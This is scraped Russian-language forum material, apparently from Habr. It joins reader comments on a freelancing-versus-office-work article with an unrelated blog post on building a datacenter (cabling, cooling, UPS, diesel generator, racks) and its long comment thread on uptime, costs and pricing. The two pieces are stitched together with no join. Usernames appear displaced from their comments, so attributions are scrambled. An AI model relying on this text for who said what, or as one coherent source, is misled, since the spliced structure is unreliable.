Многие отнекиваются от фриланса, мотивируя это проблемами роста и большой вероятностью погореть на собственной неорганизованности". А разве самоорганизация не нужна при работе в офисе? Или кто то будет с пеною у рта доказывать, что бездействие 70% рабочего времени это необсуждаемая норма в крупных компаниях?

Проблемы с графиком, собственная неадекватность, проблемы с общением, так или иначе приведут к увольнению. К испорченной репутации и соответствующей рекоммендации. С фриланса хоть уйти можно «по-тихому»

Все проблемы от личных качеств, в разных ситуациях они «используются» в разной степени. Но если, при благоприятной обставновке ты неудачник в офисе, на фрилансе выше не прыгнешь.
extr
tanq, спасибо! Интересная статья, прочел с удовольствием и нигде не «морщился» (а читая статьи, делаю это нередко). В частности, нет ни излишнего пафоса, ни банальных «понтов», ни навязывания своего мнения, как единственно возможного и правильного.

Хотел бы подчеркнуть, что вы достойны уважения за то, чтО вы поняли и за то, что не постеснялись об этом написать. Многие (думаю, большинство людей) на это не способны. А писать в ответ на вашу статью, какой вы недотёпа, раз не открыли свою фирму, не доросли до своего дела и т. п. (как это сделали выше в комментариях) — это, по-моему, то же самое, что спортсмену, прыгнувшему с шестом на 5 метров и установившему рекорд города, вместо аплодисментов сказать: «да по сравнению с Бубкой ты просто сосёшь, парень! До международных соревнований так и не дорос, балда!»

Помимо этого, хотел бы высказаться против навязывания (в других комментариях к этой статье) убогих стереотипов: «следующий шаг за офисной работой — фриланс, а следующий за этим шаг — создание своей фирмы». Нет никаких «следующих шагов» в общем случае. Точки на прямой упорядочены (эта левее, чем та), точки на плоскости упорядочить уже нельзя. Так и у различных вариантов работы слишком много измерений, чтобы их можно было упорядочить («это» круче, чем «то»)…

Несколько абстрактно и бессмысленно звучит, я знаю. Чтобы быть более конкретным, скажу, что для некоторых, очень и очень умных, людей, следующим шагом за созданием и руководством фирмой была… опять «офисная работа на дядю». И это был не возврат к «разбитому корыту», это было именно движение вперед. В тысяча девятьсот лохматом году в журнале, насколько помню, «КомпьютерПресс» была замечательная статья о руководителе известной (в то время) российской софтверной фирмы. Увы, название фирмы и имя человека не вспомню: склероз у меня выдающийся. Но фирма его выпускала не то знаменитый русификатор чего-то, не то систему OCR. Так вот, статья была о том, как получилось, что этот руководитель немаленькой фирмы стал… наемным работником в IBM. Как вы догадываетесь, он был весьма доволен произошедшим.

На этом обрываю свой stream of consciousness. Буду очень благораден, если кто-то вспомнит имя того человека, перешедшего в IBM, или фирмы, которой он руководил.
Mory
Спасибо, всегда приятно почитать развёрнутое, обоснованное мнение, а тем более, когда оно положительное.

Я с улыбкой читал комментарии, где люди пытались оценить меня и уровень до которого я дорос или не дорос. Я в статье ясно писал, что уходя из фриланса, я уходил на следующий уровень. А если учесть, что, в сознательном состоянии, человек не будет ухудшать условия своей жизни, то логично, что уходя работать в офис, я перешёл на такие условия, которые плюсов давали больше, чем минусов относительно фриланса.
PiSaiK
Больше всего убивает когда «работаешь на дядю» не веб-программистом (обычным), а как хобби фрилансишь, помагая знакомым друзьям и прочим друзьям друзей друзей делать сайты — это реально раздирает на части. А если еще и SEO сюда подмешивать, как я когда-то делал, то лучше глову не поднимать и работать, работать не останавливаясь.
CelesteKing
Хорошая статья.
Автор большой молодец.

Я сам задумывался о многом, что написано в ней.
Ведь при всем при том, что будучи владельцем студии, своего бизнеса, я перед самим собой (не перед подчиненными) — фрилансер )))
un1t
"… И меня совсем не напрягает, что работодатель продаёт моё время в разы дороже. Я бы так не смог, а он смог. Зато я могу продать своё время ему. И всем хорошо. Да."
— полезное информация для тех, кто считает, что фирма на нем «наваривается»…
extr
«меня совсем не пугает мысль — «я — безработный!»»

«моё время стоит определённой, конкретной суммы денег»

вся статья. мега зачёт.
у меня тоже самое. середина второго витка =)
Mory
Я не знаю, на что взъелись фрилансеры «на дядю». Я работаю в отличной компании — то есть «на дядю». У нас отличный коллектив людей, в котором каждый знает как выполнять задачу, у каждого есть обязанности в этом сложном механизме. Директор, то есть «дядя», вложил немало сил чтобы быть «дядей».

Если фрилансеры имеют ввиду не веб-компании, а компанию продавак, где по совместительству появилась вакансия программиста, дизайнера и так далее — это одно (здесь действительно белые рубашки и прочее раздражает), но другое — если компания занимается вебом и коллектив достаточно молодой.

Я работаю по 8 часов в день при достойной зарплате, затем у меня есть свободное время, которое я могу тратить на свои проекты. Лично такая схема для меня оказалась самой приемлимой, несмотря на то, что во фрилансе я проработал где-то 7 месяцев, и выполнил около 6 проектов.
lasto4kin
Все люди делятся на тех, кто сидит на трубе, и тех, кому нужны деньги.
Немного перефразируя, делятся на организаторов и исполнителей. Вот и всё :)
AntonShcherbinin
tanq, подписываюсь под каждым словом.

Фриланс я лично сейчас уже рассматриваю как временную работу, которая помогла мне поднять мой уровень в той же верстке\программинге и т.д.

Но проработав год в тех же поисках заказчиков, долгих переговорах и т.п. я решил прикрывать эту лавочку и начал свои собственные, достаточно большие, проекты (благо опыт и умения уже имелись).

В итоге избавился от этого всего, чего и всем желаю ;)
tanq
Что-то в этом есть.
Гермозона у меня есть, осталось нашпиговать ее по последнему слову техники. Начнем с электричества.
Ведь куда датацентру без электричества?

Прямо в помещении столько электричества, конечно, нет. Но есть в трансформаторной. Прокладка кабеля за счет арендатора.

Итак, копаем канаву по всему заводу.


Привозим кабелюку, бронированную, чтобы ей в земле хорошо лежалось.
Реклама Чувашкабеля детектед

Закопали. Положили, тремя слоями сверху, каждые полметра, ленту с надписью «осторожно кабель».

А в гермозону привезли вентиляционные решетки, материалы для воздуховодов.


И водо — фреоно водов. А также накрыли пол, чтобы очень его не загадить


Начали прокладывать разные трубки загадочного назначения

Подсказываю, черные — фреон, серые — слив сконденсированной влаги, белые — забор воды в увлажнители.

Тут и пожарные подоспели, привезли балоны с хладоном. Хорошие такие огнетушители


И давай монтировать систему пожаротушения.


Между делом привезли рамы для кондиционеров.


А вот и сами кондиционеры приехали.

Кондиционеры, конечно, прицензионные, Emerson Liebert HPM, с выдувом холодного воздуха под фальшпол. Всего запланировано 60 серверных шкафов не более чем по 6 kW каждый (Больше охлаждать воздухом не получается). Итого на 360 kW вероятной чистой мощности у нас 9 кондиционеров по 56 кW холода каждый.

Тем временем, систему пожаротушения доделали

Поставили внешние блоки

Картинка, вполне, в духе стимпанка.

Поставили щиты управления вытяжкой — приточкой.


Привезли серверные шкафы и начали собирать. И приточку вытяжку тоже.


Собрали шкафы

Шкафы Knürr 42 юнита, 900мм глубиной 600мм шириной. Шкафы шириной 800 мм роскошны, но увы, у нас места на 800 мм не хватило.

А вот и электричество.
Встречайте. UPS


И электрические шкафы.


Упсы Emerson Liebert, как ни странно. На 160 kVa, это 128 kW, тоже включены по схеме N+1 и питают чистое до запуска дизеля. Должно хватить на 15 минут при полной нагрузке, но дизель стартует куда раньше.

Поставили упсы на рамы


Чтобы было не скучно, сделали, наконец, освещение.


Закатили кучу проводов.


И давай их подключать


Чтобы время взря не терять, прикатили циску


Сделали комутационный шкаф и по всем шкафам протащили оптику


Смотрим налево

электричество подключили.

Смотрим направо, чего то не хватает? Конечно, дизеля не хватает. Грустно без дизеля.
Дизель едет-едет и приехал

Знатная зверюга на 730 kVa. 6 горшков, 2 турбины. 2 глушителя. Именитой итальянской фирмы Сoelmo. А как ревет…

Ну все, пора запускать все системы


И снимать красивые фотографиии
Типа таких.


Или таких


Открыть сайт www.webdc.ru Звать инспектора минсвязи и покупать мебель в офис.
krayer
Класс, — интересно :-) Спасибо. Как раз подыскиваем себе хостера))
valmonnel
В самом деле, потрясающая качественная реклама! В самом положительном смысле.
radix
так и просится слоган в стиле «наши серверные собраны заботливыми руками сисадминов из экологически чистых зарубежных комплектующих!» ;)
muggle
Абсолютно согласен. Руки прямо-таки потянулись к телефону, чтобы заказать себе стоечку.
karohos
Спасибо за рассказ! Осталось вам только газон вокруг посадить =)
piroman
насчет газонов это мысль. Пока только гравием грязь вокруг посыпал.
egoholic
еще бы над логотипом поработали, страшненько он выглядит=)

Буду болеть за вас, желаю удачи!
slatvick
Тоже за ребрендинг. Не хостерский какой то что ли.
Надо смотреть в сторону западных лидеров. Зашел на сайт и первого мгновения должно быть ясно, чем занимаетесь.
Удачи! Успехов! Всего!
fonmax
кстати, если посадите несколько деревец, то будете платить меньше налогов. законодательно так есть, по крайней мере, в Украине.
Sundance
Да, все три части супер. Как говорится от А до Я.
Очень познавательно и полезно.
Удачи и успеха в вашем начинании!
piroman
спасибо.
imps
как же всё просто выглядит по таким статьям :))))
сколько времени на всё ушло?
piroman
9 месяцев. От договора аренды, до запуска.
AstonMartin
доношенным родился =)
TiGR
А сколько из этих 9 месяцев ушло на предварительную подготовку (документы и прочее)?
piroman
Три месяца
piroman
ой не просто, многого не видно.
Несколько раз проект был на грани срыва.
Anikin
Статьи действительно «по верхам». Мало рассказано про работу инженеров, проектировщиков, монтажников, а ведь запустить даже небольшой датацентр на таком уровне — это по мимо финансов огромная работа. В этом центре действительно все сделано качественно и надежно — был у них месяц тому назад и лично все видел. После увиденного было принято решение о переносе к ним одной стоки серверов и большого блока IP адресов.
Процесс переноса прошел на удивление гладко и без лишних заморочек. Очень понравилось отношение Ивана и его сотрудников, желание понять и помочь клиенту.
За месяц работы проблем с электричеством и каналами замечено не было, тех поддержка оперативная.
Удручает только быстрая скорость заполнения стоек, надеюсь, через пару месяцев нам еще хватит там места.
M_org
После такого обзора — врядли хватит :)
Biart
Ребята конечно супермолодцы, Ивану отдельный пламенный респект, НО…

… но давайте обманывать не будем, увы, эта фраза — ложь:

> За месяц работы проблем с электричеством и каналами замечено не было

могу показать аптайм-отчет. Ребята хорошие, но давайте по-честному!
piroman
Покажите.
С электричеством не было. С каналами тоже.
Злобный нок наш, проключая каналы клал циску пару раз на 30 минут и один раз на 40.
Biart
Пожалуйста:

Первая ошибка обнаружена в 2009-10-29 17:14:35.
Последняя ошибка обнаружена в 2009-10-29 18:17:48.
Время простоя: 1 hour(s) 3 min(s) 14 sec(s).

Первая ошибка обнаружена в 2009-10-29 13:41:04.
Последняя ошибка обнаружена в 2009-10-29 14:12:29.
Время простоя: 31 min(s) 25 sec(s).

Первая ошибка обнаружена в 2009-10-26 12:30:37.
Последняя ошибка обнаружена в 2009-10-26 13:37:41.
Время простоя: 1 hour(s) 7 min(s) 4 sec(s).

Первая ошибка обнаружена в 2009-10-24 18:32:46.
Последняя ошибка обнаружена в 2009-10-24 19:06:44.
Время простоя: 33 min(s) 58 sec(s).

Первая ошибка обнаружена в 2009-10-18 23:18:30.
Последняя ошибка обнаружена в 2009-10-18 23:49:27.
Время простоя: 30 min(s) 57 sec(s).

Первая ошибка обнаружена в 2009-10-18 00:01:39.
Последняя ошибка обнаружена в 2009-10-18 00:32:44.
Время простоя: 31 min(s) 5 sec(s).

Первая ошибка обнаружена в 2009-10-12 14:17:16.
Последняя ошибка обнаружена в 2009-10-1215:18:33.
Время простоя: 1 hour(s) 1 min(s) 16 sec(s).

Первая ошибка обнаружена в 2009-10-09 23:48:36.
Последняя ошибка обнаружена в 2009-10-10 00:51:42.
Время простоя: 1 hour(s) 3 min(s) 6 sec(s).

Первая ошибка обнаружена в 2009-10-08 16:47:20.
Последняя ошибка обнаружена в 2009-10-08 17:17:48.
Время простоя: 30 min(s) 27 sec(s).

— С наилучшими пожеланиями,
host-tracker.com/ cлужба поддержки
piroman
Чего вы там мониторили то?
Biart
один из своих сайтов… даже два… на ip 188.120.36.40
piroman
ну дык. Брать Петю Костенко и трясти за низкий аптайм.
Biart
подскажите где у Пети аптайм. обязательно потрясу! :D
Anikin
Учитывая стадию (первый месяц работы, отладка, тестирование, запуск нового оборудования, ночные переезды клиентов каких как мы), я рассчитывал на гораздо большее проблемы. На удивление отключений по питанию не было не разу, отключения по каналу были практически незаметны по времени, а соответственно проблем не было — идет нормальная работа. Возможно «аптайм-отчет» — это Ваш частный случай, а случаи бывают разные и не всегда виноват ЦОД. Думаю не стоит судить настолько строго на данном этапе, посмотрим пару месяцев хотя бы.
Biart
Так я ж не против, просто у меня повышенное чувство справедливости)) Когда говорят, что простоев не было, ну не могу я молчать))

А так я с Рувебом работаю уже довольно давно и работой удовлетворен. Кроме «летних охладительных проблем» и вышеописанных даунтаймов…
piroman
доунтаймов чего? Рувеба? По дороге к рувебу стоит руотер рувеба, свитч рувеба, железка рувеба на которой стоит софтина рувеба.
Это и падало.
Biart
согласись, слабое оправдание для десятков негодующих клиентов…
piroman
У меня есть десятки клиентов?

Повторяю. С запуска электричество было всегда.
Сети были всегда. Циска падала три раза. Все.
Biart
дело в том, что «Петя Костенко» и другие писали:

Biart
блин

В общем, хорошо, снимаю свои претензии, во всем виноват Петя :)
Anikin
Возможна это ситуация RUWEB-а в процессе переезда, у E-Planet такого количества падений не наблюдалось.
Somewan
по каким причинам проект был на грани срыва?
(если не секрет разумеется)
piroman
Организационным. Нам было нужно одно — заводу другое.
Somewan
я так понимаю, что сейчас у вас договор на 5 лет, 9 месяцев из которого он строился.
не боитесь, что через 5 лет договор не будет продлен? успеет проект окупиться?

а вообще — здорово, очень рад, что ваш проект запустился, удачи вам.
andreyurich
раз ребята искали договор на 5 лет видимо, рассчитали, что этого времени хватит на то чтобы окупить затраты и заработать достаточную по их мнению сумму.

я бывал в нескольких датацентрах в Киеве, такого видеть не довелось…
Somewan
да я тут просто по ссылкам почитал, что сибирьтелеком недавно построитл свой ДЦ, вложил около 4 льенов баксов, и планирует окупить его за 8 лет.
понятно, что в географии своя специфика.
но даже если окупят — все равно рисковано. это же не офис перевезти в новое здание.
andreyurich
Из предыдущих постов — планируют 60 шкафов; из комментариев — половина уже занята; из их сайта — открылись в сентябре, то есть работают всего 2 месяца а занята уже половина, и стоимость аренды стойки там же. Можете провести калькуляции…
Somewan
лично я надеюсь, что проект окупится и не один раз ибо такой труд просто обязан быть вознагражден.
но ставя себя на место того, кто это построил, я бы очень расстроился, если бы мне отказали в продлении аренды через 5 лет.
atomicxp
>Можете провести калькуляции…

60 стоек * 60 000 рублей в месяц / стойку = 3 600 000 рублей в месяц
Torm
Ну тут наверное стоит вычесть большие коммунальные расходы типа электричества, связи и пр.
NAS
Плюс добавить доп. услуги. IP, увелечение каналов для клиентов и т.п
piroman
Насчет ip — в такие места люди едут, обычно со всоими as.
А канал и так 1000.
ctapnep
вот ехал я седня на работу и вспомнилось мне это обсуждение. В плане того, что 3 ляма баксов планируется окупить меньше чем за 5 лет. Причем не просто окупить, но и выйти в плюс. Начал считать…
2 килобакса за стойку. 60 стоек. 120 килобаксов в месяц, 1.4 лимона в год. Дохода. Минус налоги. Минус операционные расходы. По очень примерным прикидкам на одни зарплаты пол лимона в год уйдет. А 300киловатт — это под двести килобаксов в год. И еще охлаждение. И аренда. В общем, что-то я не насчитал как это дело может за 5 лет окупиться.
andreyurich
С чего вы взяли что 3 «ляма», на что там это все тратить в 400 кв м датацентре. Я думаю гадать бессмысленно, люди все посчитали и открыли, в убыток никто бы ничего не делал.
ctapnep
A я знаю на что? Я датацентры не строил пока.
3 ляма звучало где-то в комментариях. Автор точной цены не указал, но на сколько я понял уровень цен именно такой.

Вот ниже ссылочку дали — telecombloger.ru/1213#more-1213
Там внизу есть кап.затраты на датацентр на 50 стоек — 2.5 лимона баксов. Так что всё сходится.
piroman
2.5 это третий тьер. Второй подешевле. Да и в кризис были интересные скидки на строительство и оборудование в нелеквидах со скидками.
piroman
По зарплатам вы сильно превысили — нам бы такие зарплаты чесслово. Налоги при усложненой системе налогообложения не такие высокие на инвестиционные проекты. 300 киловат это меньше 100 к баксов.
И кто сказал про 3 лимона? Вот тут честные цены telecombloger.ru/1213#more-1213

ctapnep
честные цены — это 2.5 лимона на ЦОД на 50 стоек. И что, мы будем за пол лимона бороться? :) Разница между Tier-2 и Tier-3 по той-же статье в 25% (если от 3-го). То есть Если там 2.5 за Tier-3, то Tier-2 обойдется в 1.9. Да, лимон скинули. Но все равно далеко не бесплатно :)

Зато в том-же обзоре говорится о том, что цены упали с 2500 за стойку до 500 за стойку. При цене в 500 за стойку я вообще не вижу рентабельности ЦОДа такого размера.

Про налогообложение я ничего сказать не могу. Я и в местном-то не разбираюсь. Но то, что родное государство не захочет откусить по максимуму я не верю. А это не лоток с пирожками, тут особо не спрячешься.

А с зарплатами — тут ведь не от зарплат зависит скорее, а от количества народу. Как ни крути, а дежурные нужны, бухгалтер нужен, электрик нужен… ну и т.д.
и каждому зарплату заплати, налоги за него заплати.

Не, я не спорю, естественно, проект окупится. Причем не через 20 лет, а раньше. Но чтоб он за 5 лет принес прибыль… Боюсь, что если-бы все было столь радужно, то проблем с датацентрами не стояло-бы.

Но успехов вам в любом случае.
piroman
Спасибо. По 500 продавать не буду, сам себе оставлю и дедикайтед продам. :)
Bobos
Главное на промо-сайт не вешать первую фотку (а лучше её и в статье заменить), уж больно она «реальная»
piroman
Стимпанковская фотка с кондиционерами страшней. Хотя, сейчас там убрались.
piroman
За стандартную, за такой проект сумму. Цифр назвать не могу, связан бумагами.
stas_agarkov
ох, уж эти девичьи секреты.
thecoder
«Обычно» это стоит примерно от 10 тыс. долл. за кв. метр.
Т.е. цифра должна быть примерно семизначной, как хорошая многоуровневая квартира в центре со всеми наворотами.
ruzhovt
однако хитрая рекламная кампания ;)
piroman
Ужасно. Злой смошник в лице меня пробрался в наши ряды. Иду самоуничтожаться.
crx
Хорошо рассказали. А дизель просто припарковали возле входной двери или смонтировали как-то?
piroman
Припарковал. Вдруг, сломается.
Kumarunster
а если сломается, запасной есть?
piroman
Береться в аренду. Срок 3-5 часов.
magik
Спасибо за рассказ, очень интересно было )
Вы говорили также что хотите чтобы в датацентре был вышколенный персонал. Где брать будете? ) Если сами занимались обучением то тоже было бы интересно почитать про процесс.
piroman
Кадры отдельная тема. Ну вообще, Корбина свой dc разогнала и помогла кадрами. А так, долгими беседами.
moooV
Осталось только завезти блэкджек и шлюх.

ДЦ роскошный!
girichev
К ссылке точка лишняя прицепилась.
hsmishka
Ссылку поправьте на сайт, там точка в конце лишняя.
citius
Что-то сайтик ваш тормозит :)
rushter
А точнее лежит :-(
casey
гм…
Один хосттер внутри нас дает дедикетед неттопов. Без соотношение но всего 3 мбит.
Мы пока не готовы заняться коло неттопов, мы и юниты не продаем.
BarsMonster
А можно как то получить информацию по неттопам, очень интересует этот вопрос.
piroman
https://ruweb.net/?page=server
icCE
Это все за свой счет, или инвестор?
piroman
Инвесторы.
youngest
Чувашкабель решает.
piroman
А то :)
AntiGravitY
Даешь в конце фотки «ДО» — «ПОСЛЕ» :)
замечательный сериал вышел, очень интересно. большое спасибо
piroman
Молодцы!
fata1ex
А какая цена трафа и какие условия? Не нашел быстро…
nllm
370 р мбит без соотношений по 95% usage пока.
BarsMonster
Т.е. оплата по факту использования определенной полосы?
piroman
да
BarsMonster
Кстати, хабраэффект разорвал новую серверную.
piroman
дым пошел из сервера…
Setti
попробуйте ник поменять ;)
potf
:)
Setti
а электрическая ввод только 1? :) а как же резервирование и авр система? Хотя наверное с дизелем и 1ой кабелюки хватит :)
piroman
что-то к вечеру у меня с окончаниями плохо :) электрическИЙ ввод*
Setti
Два. Там же нарисовано img-fotki.yandex.ru/get/26/piroman99.25/0_2e607_aee3134_L.jpg. И дизель.
piroman
по схеме они как будто с одного места идут, вот я и усомнился :)

Зачет.
Сам когда-то принимал участие в построении похожего дата-центра, понастольгировал.
Mordraug
эти 2 фидера от одной ТП?
Mordraug
Увы. Но с разных трансформаторов и с разных высоких.
piroman
Что-то сайт у вас медленно открывается… хабраэффект? :)
Mordraug
Нет, друпал :-)
hellt
Его готовить надо, в сыром виде вполне может тормозить
piroman
Теперь на хабре есть руководство а-ля «Строим датацентр своими руками» в 3-х частях. Замечательно. Что нам еще нужно? Нам нужно руководство а-ля «Строим космодром своими руками» — и мы наконец-то сможем свалить с этой гребаной планетки!

Если серьезно, то я не совсем понял, зачем поделили на 3 части. Могла бы получиться одна, но мега- статья.
P_r_i_m_a_t
Маркетинг.
BarsMonster
Работает. Я на первые две части не успел, но 3-ю увидел, и пойду сейчас читать первых две.
Andrey_Rogovsky
А как быть, если по прошествии 5 лет, когда закончится срок аренды, владелец здания не захочет продлевать договор?
Banzeg
владельцу не выгодно разрывать договор, тут же неиссекаемый стабильный поток бабла :)
piroman
Dc к тому времени окупиться несколько раз. Но не думаю, что мы им так нодоедим.
fatal
Расскажите, пожалуйста, про организацию интернет-канала
Unixspv
Два линка
Один Бигтелеком, Один Комстар плюс один резерв к тому же Бигтелекому.
Сейчас включены на 1Gb, в любое время можно проапгрейдить до 10 ки.
К весне ожидаеся третий провайдер, к следующей осени свое темное волокно до девятки.
Mordraug
свое темное волокно


ЕМНИП, темное волокно — это неиспользуемые волокна в чьих-нибудь кабелях?
piroman
А также в принципе неиспользуемые оптоканалы.
Setti
смущает слово «свое» темное волокно.
Просто я слышал, что сейчас волокна не продают. только сдают в аренду.
piroman
Ну да, в аренде.
hellt
> «Удаленные Руки». Удобный сервис для тех, кому не хватает собственных рук…
да вы там еб*нулись
ksenobayt
На последней фотке мачты гармонично смотрятся.
hellt
Побольше было бы по РФ датацентров.
Но и за это спасибо!
piroman
На каком уровне у вас реализована безопасность и как обстоят дела с охраной?
[irony]Какие гарантии что ночью не придёт к вам дядя Вася и не заберёт сервер?[/irony]
whiteRed
Дверь не откроют, у дежурного кнопка вызова масок шоу.
gudok
лучше была бы кнопка «не пускать маски шоу»
RexxeR
Приехали одни маски шоу, приехали другие маски шоу. Веселуха.
Screatch
Боимся. Предпринимаем меры.
К тому же, смысл захватывать ДЦ? Кто нибудь станет в ДЦ с непонятным правовым статусом?
piroman
Там оборудование не сильно ликвидное.
polyakstar
Вот и сказке конец, а сказка то какая былаа…
piroman
Зато какая интрига.
piroman
Класс, спасибо, подобные вещи действительно инетересно читать.
piroman
Дааа… интересно во сколько это всё встало :-) цифры, наверное на сотни тысяч долларов с техникой
Kakysha
Берите выше.
piroman
примерно 200кв. метров X 15000 у.е = 3 000 000 у.е.

Mid
Откуда такие познания? )
xvoland
Видимо, уже заходил
piroman
Так автор на сайт производителя ссылку давал, оттуда и цены )
VDR
Маштабно -)
pwd
Странно, что под фальшполом вы не сделали «чистый пол», нагнетаемым воздухом пыль будет в шкафы задувать. А судя по фотографиям бетонной пыли от бурения отверстий под крепеж стоек фальшпола там много :)

Мы когда монтировали такую систему — пол покрывался какой-то специальной краской, которая как резиновый слой после высыхания становится. То есть он и изначально чистый полностью и даже при возникновении какого-то количества пыли оно не будет так свободно летать, а липнет к полу.
piroman
Упустил, мы тоже покрыли этой краской, конечно.
VDR
Масштабно, последняя фотка так и заставляет сказать, что у вас там теперь можно фильмы снимать про захват мира и красную кнопку :)
xvoland
Расскажите про СОРМ оборудование
Mordraug
Его не существует. Это глупый вопрос и сейчас вы услышите сказку про якобы его подключение.
piroman
Что значит не существует?
GlumShadow
Ну расскажите нам про гигабитный оптосорм и маньяков, которые его ставят. Я уже попкорн купил.
Ragnar
За тобой уже выехали.
schors
Я, Вань, наверное экстремист. Но вот это богобоязнь существующей проблемы меня выбешивает. Я, кстати, не против мероприятий как таковых. Даже на порядок или два чаще чем они есть. Было бы у кого желание их проводить. И у кого оно появляется — я с удовольствием этим оборудованием для них и работаю. Но рассказывать про страшные шкафы СОРМ, которых ни у кого из вас нет — наглише показухен, непонятно для кого и для чего.
Ragnar
что касается ДЦ — не скажу.
но в АТС — оборудование СОРМ обязательно.
schors
Ну так в АТС там СОРМ-1. А тут — 2. При том что телефония — исконно-монопольная деятельность государства.
piroman
И в ЦОД СОРМ, но в состояние внедрения. Перманентном.
schors
В точку. Лучший комментарий! :)
hellt
А зачем в дата-центре СОРМ? Если по бумагам все правильно оформлено, то СОРМ как стоял у провайдеров, которые в этом ДЦ присутствуют, так и продолжает там стоять и всех видеть. А в самом ДЦ-то ставить его какой смысл?
adnull
Это для провайдеров, не для ДЦ, afaik.
Andrey_Rogovsky
был бы здорово еще так сделать… UPS — цена, Дизель — цена, Циска — цена… ну так округленно приблизительные)) Для развития, ведь далек от этого)
adnull
думаю порядок цифр в районе 2 — 2.5 М зелени
sky_lord
На весь DC?
kurokikaze
без оборудования :D
Belerafon
Звонок в Радиус Вип или Теледом и весь прайс.
Mordraug
Кто-то делал проект ДЦ? Или сами?
Azy
Радис Вип. rvip.ru
Mordraug
солидно, судя по клиентам.
piroman
Пойду просить процент
hellt
ДЦ хороший, а сайт то какой то не очень :(
piroman
А какова цена вопроса? Зная примерный ценник на некоторое оборудование я прифигел:) Если не секрет конечно :)
hellt
Скидка хабрапользователям будет? :)
piroman
На стойку? Ну стучитесь.
arc
И так получается дешево 42U — 60000 рублей, поставить сервер на co-location в среднем 3500р. за юнит(бывает и дороже). В итоге получаем 147 000р.
Стоимость получается больше чем на 50% дешевле чем у среднестатистического хостера. Надо собирать народ на стойку =)
Rihtor
вы к этим 60000 еще прибавьте стоимость 4х гигабит (чтобы на каждый сервак по 100 мбит было) и начинайте собирать народ
d1v3r
Не всякий сервак генерит 100 мбит 5% времени…
Реально, стойка с серверами генерит 30-150 мегабит, если не держишь какой либо супер трафикогенерящий проект
piroman
ну ладно, 200 мегабит докупать, цена получится среднестатистическая :)
venticello
Мы не планировали заниматься демпингом. Хотя путь продать стойки по 700, а потом взвинтить цены до 2500 тоже имееет право на существование.
kabachok
да я про вас ничего не говорю, просто чтобы человек не грезил что все так просто :)
piroman
Аренда дополнительного порта 1Гбит/с — 1500р./мес, получаем + 4500р в месяц, мелочи, по сравнению с конкурирующей суммой :)
Может еще что-нить не посчитал?
Получается примерно ~1615р./мес с человека, если подарить 2U организатору того счастья за его организаторские услуги :)
kabachok
Если не размещать публичное файловое хранилище это не пригодится.
piroman
Я как понимаю если соблюдать правило 1/4 то канал будет 1Гбит/сек, 10мбит это канал без ограничений на это соотношение. Если я ошибаюсь разуверьте.
kabachok
неправильно понимаете. Не продаем трафик по соотношениям.
venticello
По сути я смотрю в основном все подключают к 100Мбит каналу (тот же самый TrueVDS).
А установка оборудования в стойку денег стоит или нет? (hc берут 1500 за установку 1U в стойку, и за аренду 90 000, и трафик 1/4).
Тут получается 93 300 рублей, при подключении к 100Мбитам, с трафиком без соотношений.
kabachok
Не берут за установку.

venticello
А если в 6 КВт не укладываемся, дополнительное питание можно купить или надо уже отдельную стойку?
У меня сервер 550Вт, смотрю продают сервера с 650Вт и т.д, как уложиться в лимит питания? (Получается 10 серверов поставил и все..) Или я не правильно что то считаю :)
kabachok
Вы попробуйте померить потребляемую мощность. 20 дуалквадксеонов с блоками на 750Вт у нас кушают меньше трех кВатт
venticello
Ээээ… Это что за сервер такой?! Или там просто блок питания 550 Ватт?
piroman
dell 1950 и интелы
venticello
По спекам в DELL 1950 идут зионы жрущие до 65 ватт, 2х65 Ватт, вероятно порядка 30 Ватт мать, харды немного жрут, им только на раскрутку нужно побольше… Там и двухсот ватт с розетки не сожрут, блоки питания там с вполне приличным КПД, 80+ уж точно.
piroman
Да, блок питания 550Вт. А как померить реально потребляемую мощность?
venticello
piroman
только если некими прибороми.
Ваттметром, токовыми клещами.
Usmekhaiouschiysia
Самое сложное получается заставить 40 человек(если конечно кто то по 2-3 сервера не размещает) своевременно платить, поэтому получается со всех надо сразу оплату за полгода-год брать, чтобы организатор на свои бабки не попал.
piroman
организуйте хостинг, арендуйте стойку, можно шаред предоставлять
Usmekhaiouschiysia
Представляешь какие на это средства нужны? Оборудование, админы, суппорт, офис.
venticello
Долго напоминать не надо будет, не заплатили вовремя сервак офф.
А так надо 10 друзей, и брать 1/4 стоийки за 17000 (по 1700 на каждого), не велика разница получается :)
Usmekhaiouschiysia
Тоже интересует бюджет всего мероприятия.
piroman
Не пытайте. Не могу.
venticello
а если паяльником? (шутка)

Ну серьезно, хотя бы порядок числа? Сколько нулей и в какой валюте? :)
kabachok
шесть нулей в зеленых.
venticello
а первая цифра 3?
kabachok
на крыше много места — можно солнечные батареи налепить и напичкать генераторов — пусть накапливает, тогда вообще можно спать спокойно :)
venticello
угу в россии где они полгода будут под снегом и от дождей им тоже не похорошеет это просто суперудачное вложение денег:) ещё можно ветрогенераторы поставить!
kabachok
На крышу нас не пустили. Мы там блоки кондеев хотели разместить.
iBolit
Два вопроса:
1. А чего с АРЩ? Как завязано?
2. Главный вопрос — а почему шкафы, а не рамы?
3. А с каналами? 1-2-3? Я про физику.
4. Две линии питания к стойкам? Одна?
piroman
1) АВР
2) Что бы патчкорды никто не задел.
3) Пока 3. То бишь палок до завода 2, наружу завода 3.
4) Одна.

tgm
1. так это… входы-выходы. тезисно. просто любопытно.
2. действительно проблема? просто как-то мне казалось шкафы дороговато… возможно их охлаждать конечно кошернее…
3. угу. нормально. ну ты понял на кого я намекал :)
4. а почему, кстати? не, без иронии. у всех одна. просто интересно почему две никто не делает.
piroman
а зачем 2 линии к стойкам, если бесперебойность обеспечивают УПСы и ДГА?
Crashus
Чтобы можно было вести регламентные работы по одной из линий. Это такое требование.
Barzometr
Гаси сервера. Кстати, такой регламент там раз в год на 5 минут.
grokinn
Не, ну ты понимаешь — я переживу. А ведь многие теряют 10000$/мин
piroman
Ну, когда нибудь, если доживем, построим треттий тьер.
Кста не вопрос, если у тебя такие проблемы принести тебе на время переключения юпс, включить в него второй блок питания, и переживай на здоровье.
schors
2) Понты.
3) Пытаюсь.
4) Вдвое больше меди. Ну потому что ДЦ не под business critical.
piroman
2-4) я воль :)
3) у стека долгое время был проброшен один кабель на м10.
schors
Если шкаф гамотный, он все тепло выдувает взад, снизу, с фейкпола идет холод, и согласно етицкой силы законов физики, горячий уходит в отвестие теплозаборника

Впрочем, это мегосистема для 32-х ядерных монстров, которые умеют жарить яичницу
hellt
Неплохо бы линки на 1-ю и 2-ю части прямо в тексте (точнее перекрестные линки во всех частях), не все их читали, а отложив могут и не вспомнить…
schors
у Вас в компании вакансии есть?
piroman
Увы. Уже нет.
schors
